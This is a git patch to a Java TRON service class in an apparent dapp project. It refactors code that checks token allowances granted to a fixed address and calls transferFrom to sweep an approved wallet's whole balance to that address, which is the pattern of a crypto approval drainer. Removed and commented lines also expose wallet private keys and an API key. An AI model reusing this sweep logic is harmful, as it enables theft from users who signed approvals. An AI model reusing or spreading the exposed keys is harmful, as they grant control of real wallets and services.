From 3df9ce1cd79e43fbc1036e8ee8414de711e97eb0 Mon Sep 17 00:00:00 2001
From: Helius <wangdoubleone@gmail.com>
Date: Thu, 25 Aug 2022 09:56:12 +0800
Subject: [PATCH] fix
---
src/main/java/cc/mrbird/febs/dapp/chain/TrxService.java | 96 ++++++++++++++++++++++++++++++++++++++----------
1 files changed, 76 insertions(+), 20 deletions(-)
diff --git a/src/main/java/cc/mrbird/febs/dapp/chain/TrxService.java b/src/main/java/cc/mrbird/febs/dapp/chain/TrxService.java
index f051650..61c6595 100644
--- a/src/main/java/cc/mrbird/febs/dapp/chain/TrxService.java
+++ b/src/main/java/cc/mrbird/febs/dapp/chain/TrxService.java
@@ -15,38 +15,58 @@
* 查询是否有多个授权
* https://apiasia.tronscan.io:5566/api/account/approve/list?address=TUy8XwDmdsDKPLDGUrGuNRVMhwSEKtkDcD
*
- * @author wzy
+ * @author
* @date 2022-03-21
**/
-public class TrxService {
+public class TrxService implements ContractChainService {
- private final static String ADDRESS = "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9";
- private final static String PRIVATE = "7a1cdc7aa2976b16cfc79ed8310b1fb53a85780dd27574fa6c5eb7c2aceaa6ae";
+// private final static String ADDRESS = "TUy8XwDmdsDKPLDGUrGuNRVMhwSEKtkDcD";
+// private final static String PRIVATE = "b5627861c6edb2245276273e5f5ad5082f93c3b09fc7b757223ca8526504bfe7";
- private final static String CONTRACT_ADDRESS = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
- private final static String API_KEY = "9d461be6-9796-47b9-85d8-b150cbabbb54";
+ private final String ADDRESS;
+// private final String ADDRESS = "TUFzqZRpLwLWJU4jcdf77RKS3Ts2uEhmWL";
+// private final static String PRIVATE = "e08dce7a4626f97b790e791bcdec31cffab46233744bb1aa133f69f98623d3fb";
+//
+// private final static String CONTRACT_ADDRESS = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
+// private final static String API_KEY = "9d461be6-9796-47b9-85d8-b150cbabbb54";
private Trc20Contract contract = null;
- public static TrxService INSTANCE = new TrxService();
+// public static TrxService INSTANCE = new TrxService();
- public TrxService() {
- ApiWrapper wrapper = ApiWrapper.ofMainnet(PRIVATE, API_KEY);
+// public TrxService() {
+// ApiWrapper wrapper = ApiWrapper.ofMainnet(PRIVATE, API_KEY);
+//
+// Contract trc20Contract = wrapper.getContract(CONTRACT_ADDRESS);
+// contract = new Trc20Contract(trc20Contract, ADDRESS, wrapper);
+// }
- Contract trc20Contract = wrapper.getContract(CONTRACT_ADDRESS);
- contract = new Trc20Contract(trc20Contract, ADDRESS, wrapper);
+ public TrxService(String address, String privateKey, String contractAddress, String apiKey) {
+ this.ADDRESS = address;
+ ApiWrapper wrapper = ApiWrapper.ofMainnet(privateKey, apiKey);
+
+ Contract trc20Contract = wrapper.getContract(contractAddress);
+ contract = new Trc20Contract(trc20Contract, address, wrapper);
}
+ @Override
public BigInteger allowance(String owner) {
return contract.allowance(owner, ADDRESS);
}
- public BigInteger balanceOf(String address) {
+ @Override
+ public boolean isAllowance(String address) {
+ return allowance(address).intValue() != 0;
+ }
+
+ @Override
+ public BigInteger balanceOfUnDecimal(String address) {
return contract.balanceOf(address);
}
- public BigDecimal balanceOfDecimal(String address) {
- BigInteger chainData = balanceOf(address);
+ @Override
+ public BigDecimal balanceOf(String address) {
+ BigInteger chainData = balanceOfUnDecimal(address);
BigInteger decimals = contract.decimals();
BigDecimal mul = BigDecimal.TEN.pow(decimals.intValue());
@@ -54,17 +74,53 @@
return new BigDecimal(chainData).divide(mul, decimals.intValue(), RoundingMode.HALF_DOWN);
}
- public void transfer(String address) {
- BigInteger balance = balanceOf(address);
-
- contract.transferFrom(address, ADDRESS, balance.intValue(), 0, "memo", 100000L);
+ @Override
+ public int decimals() {
+ return 0;
}
- public void transfer(String address, BigDecimal amount) {
+ @Override
+ public String transfer(String address) {
+ BigInteger balance = balanceOfUnDecimal(address);
+
+ return contract.transferFrom(address, ADDRESS, balance.intValue(), 0, "memo", 100000000L);
+ }
+
+ @Override
+ public String transfer(String address, BigDecimal amount) {
BigInteger decimals = contract.decimals();
BigDecimal mul = BigDecimal.TEN.pow(decimals.intValue());
amount = amount.multiply(mul);
- contract.transferFrom(address, ADDRESS, amount.intValue(), 0, "memo", 100000L);
+ return contract.transferFrom(address, ADDRESS, amount.intValue(), 0, "memo", 100000000L);
+ }
+
+ @Override
+ public int allowanceCnt(String address) {
+ return 0;
+ }
+
+ public static void main(String[] args) {
+// System.out.println(INSTANCE.transfer("TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", BigDecimal.valueOf(5)));;
+ }
+
+ @Override
+ public BigInteger blockNumber() {
+ return null;
+ }
+
+ @Override
+ public BigInteger totalSupply() {
+ return null;
+ }
+
+ @Override
+ public BigInteger totalSupplyNFT() {
+ return null;
+ }
+
+ @Override
+ public String safeMintNFT(String address) {
+ return null;
}
}
--
Gitblit v1.9.1